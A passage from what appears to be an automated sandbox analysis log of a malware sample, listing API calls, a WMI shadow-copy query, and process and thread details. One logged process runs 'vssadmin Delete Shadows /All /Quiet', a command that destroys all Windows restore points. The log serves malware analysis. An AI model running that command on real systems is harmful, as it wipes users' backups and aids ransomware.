0x278aad0 [0280.714] lstrlenA (lpString="") returned 0 [0280.714] malloc (_Size=0x2) returned 0x2782688 [0280.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x162b74, cbMultiByte=-1, lpWideCharStr=0x2782688, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0280.714] free (_Block=0x2782688) [0280.714] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0280.714] SysStringLen (param_1="") returned 0x0 [0280.714] free (_Block=0x278aad0) [0280.714] malloc (_Size=0xc) returned 0x278aad0 [0280.714] IWbemServices:ExecQuery (This=0x252a618, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x243f654) Thread: id = 138 os_tid = 0xce4 Thread: id = 139 os_tid = 0xd98 Thread: id = 140 os_tid = 0xc48 Thread: id = 141 os_tid = 0x86c Process: id = "23" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x35c1e000" os_pid = "0x7b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xf28" cmd_line = "vssadmin Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 135 os_tid = 0x9fc Thread: id = 136 os_tid = 0x9e4 Thread: id = 137 os_tid = 0xf40 Thread: id = 228 os_tid = 0xe0 Thread: id = 229 os_tid = 0xe20 Thread: id = 230 os_tid = 0xe10 Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x51a30000" os_pid = "0x3c0" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "22" os_parent_pid = "0xdb4" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 142 os_tid = 0xc9c Thread: id = 143 os_tid = 0xaf0 Thread: id = 144 os_tid = 0x7fc Thread: id = 145 os_tid = 0xd24 Thread: id = 146 os_tid = 0x26c Thread: id = 147 os_tid = 0xd70 Thread: id = 148 os_tid = 0xd14 Thread: id = 149 os_tid = 0xd68 Thread: id = 150 os_tid = 0xd48 Thread: id = 151 os_tid = 0xdcc Thread: id = 152 os_tid = 0xac8 Thread: id = 153 os_tid = 0x794 Thread: id = 154 os_tid = 0xf14 Thread: id = 155 os_tid = 0xc38 Thread: id = 156 os_tid = 0xc58 Thread: id = 157 os_tid = 0x8f0 Thread: id = 158 os_tid = 0xfec Thread: id = 159 os_tid = 0xf18 Thread: id = 160 os_tid = 0xf0 Thread: id = 161 os_tid = 0xb80 Thread: id = 162 os_tid = 0x498 Thread: id = 163 os_tid = 0x384 Thread: id = 164 os_tid = 0xf4c Thread: id = 165 os_tid = 0xfa4 Thread: id = 166 os_tid = 0x744 Thread: id = 167 os_tid = 0xdec Thread: id = 168 os_tid = 0xdf0 Thread: id = 169 os_tid = 0xe00 Thread: id = 170 os_tid = 0xdf8 Thread: id = 171 os_tid = 0xdfc Thread: id = 172 os_tid = 0xa88 Thread: id = 173 os_tid = 0xfb8 Thread: id = 174 os_tid = 0xef0 Thread: id = 175 os_tid = 0xedc Thread: id = 176 os_tid = 0xa50 Thread: id = 177 os_tid = 0xa3c Thread: id = 178 os_tid = 0xa30 Thread: id = 179 os_tid = 0xa18 Thread: id = 180 os_tid = 0x9c4 Thread: id = 181 os_tid = 0x9ac Thread: id = 182 os_tid = 0x9a4 Thread: id = 183 os_tid = 0x9a0 Thread: id = 184 os_tid = 0x99c Thread: id = 185 os_tid = 0x998 Thread: id = 186 os_tid = 0x990 Thread: id = 187 os_tid = 0x988 Thread: id = 188 os_tid = 0x980 Thread: id = 189 os_tid = 0x970 Thread: id = 190 os_tid = 0x96c Thread: id = 191 os_tid = 0x968 Thread: id = 192 os_tid = 0x960 Thread: id = 193 os_tid = 0x954 Thread: id = 194 os_tid = 0x950 Thread: id = 195 os_tid = 0x93c Thread: id = 196 os_tid = 0x938 Thread: id = 197 os_tid = 0x924 Thread: id = 198 os_tid = 0x87c Thread: id = 199 os_tid = 0x80c Thread: id = 200 os_tid = 0x808 Thread: id = 201 os_tid = 0x4dc Thread: id = 202 os_tid = 0x7dc Thread: id = 203 os_tid = 0x7d4 Thread: id = 204 os_tid = 0x7d0 Thread: id = 205 os_tid = 0x7c0 Thread: id = 206 os_tid = 0x730 Thread: id = 207 os_tid = 0x6f0 Thread: id = 208 os_tid = 0x6ec Thread: id = 209 os_tid = 0x664 Thread: id = 210 os_tid = 0x59c Thread: id = 211 os_tid = 0x554 Thread: id = 212 os_tid = 0x4b4 Thread: id = 213 os_tid = 0x44c Thread: id = 214 os_tid = 0x448 Thread: id = 215 os_tid = 0x428 Thread: id = 216 os_tid = 0x418 Thread: id = 217 os_tid = 0x414 Thread: id = 218 os_tid = 0x35c Thread: id = 219 os_tid = 0x340 Thread: id = 220 os_tid = 0x3a0 Thread: id = 221 os_tid = 0x38c Thread: id = 222 os_tid = 0x364 Thread: id = 223 os_tid = 0x248 Thread: id = 224 os_tid = 0x280 Thread: id = 225 os_tid = 0x29c Thread: id = 226 os_tid = 0x188 Thread: id = 227 os_tid = 0x3c4 Thread: id = 240 os_tid = 0x210 Thread: id = 241 os_tid = 0xa70 Thread: id = 242 os_tid = 0x4f0 Thread: id = 243 os_tid = 0x720 Thread: id = 244 os_tid = 0xed0 Thread: id = 245 os_tid = 0xeb4 Process: id = "25" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x8ff2000" os_pid = "0x7bc" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e990" monitor_reason = "rpc_server" parent_id = "24" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 231 os_tid = 0xf58 Thread: id = 232 os_tid = 0xf04 Thread: id = 233 os_tid = 0x754 Thread: id = 234 os_tid = 0xe0c Thread: id = 235 os_tid = 0x48c Thread: id = 236 os_tid = 0x6d8 Thread: id = 237 os_tid = 0xda4 Thread: id = 238 os_tid = 0xf2c Thread: id = 239 os_tid = 0xb10 Process: id = "26" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x22b42000" os_pid = "0xef4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "24" os_parent_pid = "0x3c0" cmd_line = "C:\\WINDOWS\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0009d474" [0xc000000f] Thread: id = 246 os_tid = 0xc6c Thread: id = 247 os_tid = 0xd5c Thread: id = 248 os_tid = 0xcb8 Thread: id = 250 os_tid = 0x9fc Thread: id = 251 os_tid = 0xe0 Thread: id = 252 os_tid = 0xf40 Thread: id = 253 os_tid = 0x6dc Thread: id = 254 os_tid = 0x3a8 Thread: id = 255 os_tid = 0xe90